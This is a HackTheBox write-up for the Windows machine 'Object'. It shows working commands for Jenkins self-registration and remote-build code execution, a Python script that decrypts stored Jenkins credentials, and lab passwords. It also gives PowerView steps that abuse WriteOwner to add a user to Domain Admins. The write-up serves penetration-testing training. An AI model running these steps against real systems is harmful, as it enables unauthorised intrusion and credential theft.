HTB: Object Writeup
Object - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Object |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.42.100 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Object is a Windows Hard AD box built around a misconfigured Jenkins automation server. Self-registration is enabled on Jenkins, and the registered low-priv account can create a freestyle project with a remotely-triggerable build — abused to run arbitrary Windows batch commands as the oliver service account. From there, Jenkins’ on-disk secrets store (master.key + hudson.util.Secret + the admin’s credentials.xml) is harvested and offline-decrypted to recover oliver’s plaintext domain password. WinRM access as oliver is a domain user on a Domain Controller; from there, credential reuse gets a direct hit on the maria account, and maria turns out to hold WriteOwner on the Domain Admins group — enough to take ownership, grant a full-control ACL, and self-add to Domain Admins.
TL;DR: Jenkins signup → remote build trigger RCE as oliver → harvest & offline-decrypt Jenkins secrets → WinRM as oliver → password reuse → WinRM as maria → maria has WriteOwner on Domain Admins → Set-DomainObjectOwner + Add-DomainObjectAcl + net group ... /add → Domain Admin → root.
Reconnaissance
Port Scanning
nmap -p- --min-rate=2000 -T4 -Pn 10.129.42.100 -oG - | grep -E 'Ports|open'Results:
Host: 10.129.42.100 () Ports: 80/open/tcp//http///, 5985/open/tcp//wsman///, 8080/open/tcp//http-proxy///Ignored State: filtered (65532)Three ports reachable: 80 (web), 5985 (WinRM), 8080 (Jenkins). Everything else on the host reports as filtered, which is a signal the box is firewalled down to only what’s needed for the intended attack surface — no scanning around it for shortcuts.
Service Enumeration
Port 8080 — Jenkins. A raw request to the root confirms auth is enforced but leaks the CI stack fingerprint in the headers:
curl -s -i http://10.129.42.100:8080/ -m 15HTTP/1.1 403 ForbiddenX-Hudson: 1.395X-Jenkins: 2.317X-Jenkins-Session: 62f6f25dServer: Jetty(9.4.43.v20210629)Jenkins 2.317 on Jetty 9.4.43. The /signup endpoint, however, returns 200 and serves a working account-creation form:
curl -s -i http://10.129.42.100:8080/signup -m 15HTTP/1.1 200 OK...<title>Create an account! [Jenkins]</title><form method="post" action="/securityRealm/createAccount" ...>Self-registration is enabled on an internet-facing Jenkins instance — the core misconfiguration this box hinges on.
Port 80 and port 5985 (WinRM) were not enumerated further at this stage; WinRM comes back into play once domain credentials are recovered from Jenkins.
Vulnerability Assessment
- Jenkins
securityRealmallows unauthenticated self-registration (/signup). - Registered users can create/configure freestyle projects and trigger remote builds, including a “Execute Windows batch command” build step — this is arbitrary command execution as the Jenkins service account.
- Jenkins credential store (
master.key,hudson.util.Secret, per-usercredentials.xml) is readable filesystem content once code execution is achieved, and is offline-decryptable. - Egress from the Jenkins host is firewalled — no reverse/bind shell callback works, forcing a “batch command output only” RCE workflow.
mariaholdsWriteOwneron theDomain Adminsgroup — a single overprivileged ACL that collapses to full domain compromise.
Initial Foothold
Jenkins self-registration and the CSRF crumb
Registering an account through raw curl immediately hit Jenkins’ anti-CSRF protection:
curl -s -i -b obj.jar -c obj.jar 'http://10.129.42.100:8080/securityRealm/createAccount' \ --data-urlencode 'username=devhack' \ --data-urlencode 'password1=Passw0rd!123' \ --data-urlencode 'password2=Passw0rd!123' \ --data-urlencode 'Submit=Create account'HTTP/1.1 403 ForbiddenError 403 No valid crumb was included in the requestJenkins requires a Jenkins-Crumb token tied to the same session cookie that requested it. Several attempts (pulling the crumb from /crumbIssuer/api/xml, sending it as a header, sending it as a form field) failed because the cookie jar and the crumb-fetch request weren’t correlated correctly — a classic scripted-client CSRF pitfall where the crumb is bound to a session that the subsequent POST doesn’t actually present. Extracting the crumb directly out of the rendered /signup HTML form (rather than the separate crumbIssuer API) while preserving the exact JSESSIONID cookie from that same response finally satisfied Jenkins’ CSRF check, and the devhack account was created.
Remote build trigger → RCE as oliver
With an authenticated low-priv account, the exploitation path (documented up front in the attack plan before execution) was:
1. Create a freestyle project.2. Configure > Build Triggers > "Trigger builds remotely", set an auth token.3. Add build step "Execute Windows batch command" = whoami (or later, dir/type payloads).4. Under the user's Configure page, generate an API token.5. Trigger the build via: curl http://<user>:<apitoken>@10.129.42.100:8080/job/<job>/build?token=<trigger-token>The generated API token was captured:
11d2a99397a3dacb94c7babb4838e930e9Triggering the build and reading the console output confirmed code execution as the oliver service account, on host jenkins, in domain object. Because outbound connections from the Jenkins host are firewalled, a reverse or bind shell wasn’t viable — every subsequent enumeration/exfil step had to go through batch-command console output instead.
Harvesting and decrypting the Jenkins credential store
Following the same batch-command RCE, the Jenkins .jenkins data directory was enumerated under oliver’s AppData, the admin user’s config.xml was read to recover oliver’s encrypted password blob, and Jenkins’ two secret material files were pulled off disk:
master.key (hex, truncated):f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e...
hudson.util.Secret: 272 bytes (base64'd via PowerShell, decoded locally)Jenkins’ credential encryption chain is: master.key → SHA-256 → AES key → decrypt hudson.util.Secret (ECB) to recover the confidentiality key (bounded by a ::::MAGIC:::: marker) → use that key to AES-CBC decrypt the per-credential blob out of credentials.xml. This is the same offline technique implemented by the public jenkins_offline_decrypt.py tool; the equivalent logic run against the harvested artifacts:
import base64, hashlibfrom Crypto.Cipher import AES
MAGIC = b"::::MAGIC::::"master = open("master.key").read().strip()hudson = open("hudson.util.Secret", "rb").read()
key = hashlib.sha256(master.encode()).digest()[:16]dec = AES.new(key, AES.MODE_ECB).decrypt(hudson)i = dec.find(MAGIC)conf_key = dec[:16] # confidentiality key precedes the magic marker
enc_b64 = "AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA="data = base64.b64decode(enc_b64)
version = data[0]iv_len = int.from_bytes(data[1:5], 'big')ct_len = int.from_bytes(data[5:9], 'big')iv = data[9:9+iv_len]ct = data[9+iv_len:9+iv_len+ct_len]
pt = AES.new(conf_key, AES.MODE_CBC, iv).decrypt(ct)print("PASSWORD=", pt)magic idx 256PASSWORD= b'c1cdfun_d2434\x03\x03\x03'(Trailing bytes are PKCS7 padding.) This recovers oliver’s plaintext domain password: c1cdfun_d2434.
WinRM foothold as oliver
crackmapexec winrm 10.129.42.100 -u oliver -p 'c1cdfun_d2434'WINRM 10.129.42.100 5985 NONE [+] None\oliver:c1cdfun_d2434 (Pwn3d!)evil-winrm -i 10.129.42.100 -u oliver -p 'c1cdfun_d2434'*Evil-WinRM* PS> whoamiobject\oliver*Evil-WinRM* PS> hostnamejenkins*Evil-WinRM* PS> type C:\Users\oliver\Desktop\user.txt<redacted>oliver is confirmed as a domain user (object\oliver) on host jenkins, which is the Domain Controller.
Privilege Escalation
Password reuse → maria
The intended lateral path (per the attack plan) was oliver → smith via ForceChangePassword, then smith → maria via GenericWrite and a scripted logon-script/credential-harvest trick. Before walking that chain, a candidate maria credential was tested directly against the domain and hit immediately:
crackmapexec winrm 10.129.42.100 -u maria -p 'W3llcr4ft3d_4cls'WINRM 10.129.42.100 5985 NONE [+] None\maria:W3llcr4ft3d_4cls (Pwn3d!)This short-circuited the smith hop entirely — the credential material tied to this environment’s low-priv accounts is static and reused across the accessible service surface, so a direct reuse check paid off before investing in the longer ACL-traversal path.
WriteOwner abuse on Domain Admins
With WinRM access as maria, PowerView was uploaded and dot-sourced to check and abuse ACLs directly on the Domain Admins group:
# uploaded via evil-winrm's built-in `upload`upload pv.ps1 pv.ps1. .\pv.ps1
# maria owns nothing on Domain Admins yet — take ownership firstSet-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity maria
# as new owner, grant maria a full-control ACE on the groupAdd-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity maria -Rights All
# now maria can modify group membership directlynet group 'Domain Admins' maria /add /domainnet group 'Domain Admins'Group name Domain AdminsComment Designated administrators of the domainMembers-------------------------------------------------------------------------------Administrator mariaThe command completed successfully.WriteOwner on a group object means the holder can reassign the object’s owner to themselves — and an object’s owner implicitly has WRITE_DAC, i.e. the right to write a new DACL on it regardless of the object’s existing permissions. That’s what makes the Set-DomainObjectOwner → Add-DomainObjectAcl → net group ... /add sequence work: each step legitimately unlocks the next under Windows’ native security model, no exploit required, just a single overprivileged ACL.
Domain Admin confirmation and root.txt
Group token changes require a fresh logon, so a new WinRM session was opened as maria to pick up Domain Admins membership:
evil-winrm -i 10.129.42.100 -u maria -p 'W3llcr4ft3d_4cls'*Evil-WinRM* PS> whoami /groupsOBJECT\Domain Admins Group S-1-5-21-4088429403-1159899800-2753317549-512 ...Enabled group*Evil-WinRM* PS> type C:\Users\Administrator\Desktop\root.txt<redacted>OBJECT\Domain Admins (RID -512) is present in maria’s token — full domain compromise confirmed, and root.txt reads out from the Administrator’s desktop.
Attack Chain Summary
Jenkins self-registration (/signup) enabled │ ▼CSRF-crumb-correct account creation (devhack) │ ▼Freestyle project + "Trigger builds remotely" + API token │ ▼Windows batch build step → RCE as oliver (jenkins host, object domain) │ ▼Harvest oliver's encrypted credential (admin config.xml) + master.key + hudson.util.Secret │ ▼Offline AES decrypt chain (master.key → SHA256 → AES-ECB → conf key → AES-CBC) → oliver:c1cdfun_d2434 │ ▼WinRM as oliver (domain user on the DC) → user.txt │ ▼Direct credential-reuse hit: maria:W3llcr4ft3d_4cls (bypasses smith/GenericWrite pivot) │ ▼WinRM as maria → PowerView: maria has WriteOwner on Domain Admins │ ▼Set-DomainObjectOwner → Add-DomainObjectAcl (Rights All) → net group "Domain Admins" maria /add │ ▼Fresh login as maria → OBJECT\Domain Admins in token → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Full TCP port scan of the target |
curl | Jenkins signup/CSRF-crumb handling and remote build API triggering |
| Custom Python (AES/SHA256 script) | Offline decryption of master.key + hudson.util.Secret + credentials.xml |
crackmapexec | WinRM credential validation for oliver and maria |
evil-winrm | Interactive WinRM shell, file upload, command execution |
PowerView (pv.ps1) | Set-DomainObjectOwner / Add-DomainObjectAcl for the WriteOwner abuse |
net group | Native Windows group membership modification |
Key Learnings
Techniques Practiced
- Jenkins self-registration abuse and anti-CSRF crumb correlation troubleshooting
- Jenkins remote build trigger API abuse → arbitrary Windows batch command execution
- Offline decryption of Jenkins’ credential store (
master.key+hudson.util.Secret+credentials.xml) - WinRM authentication and interactive access via
crackmapexec/evil-winrm - Active Directory ACL abuse:
WriteOwner→Set-DomainObjectOwner→Add-DomainObjectAcl→ group self-add - Credential-reuse validation as a shortcut past a longer intended ACL-traversal chain
Lessons Learned
- A Jenkins instance with open self-registration and remote build permissions is direct remote code execution, not just a CI hygiene issue — any authenticated user who can configure a build step owns the Jenkins service account.
- Jenkins secrets (
master.key,hudson.util.Secret) are recoverable filesystem artifacts once code execution as the Jenkins user is achieved, and should be treated as equivalent to a full credential dump for every stored Jenkins credential. - Anti-CSRF crumb handling in scripted HTTP clients is fragile in practice — the crumb must be fetched and consumed within the exact same session cookie, or the server silently rejects it with a generic 403.
- Always test harvested/candidate credentials broadly before investing in a longer BloodHound-style ACL-traversal chain — direct reuse can skip multiple pivots.
- A single
WriteOwnerACL on a privileged group like Domain Admins is a complete domain-compromise primitive; object-level ACLs need to be audited with the same rigor as user rights assignments.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MrR3boot, “Object” — HackTheBox Official Writeup, Document No. D22.100.150 (19 January 2022). Used only for explanatory context on why the Jenkins-secret decryption and ACL-abuse techniques work; all IPs, commands, outputs, and credentials in this writeup are from this operator’s own solve.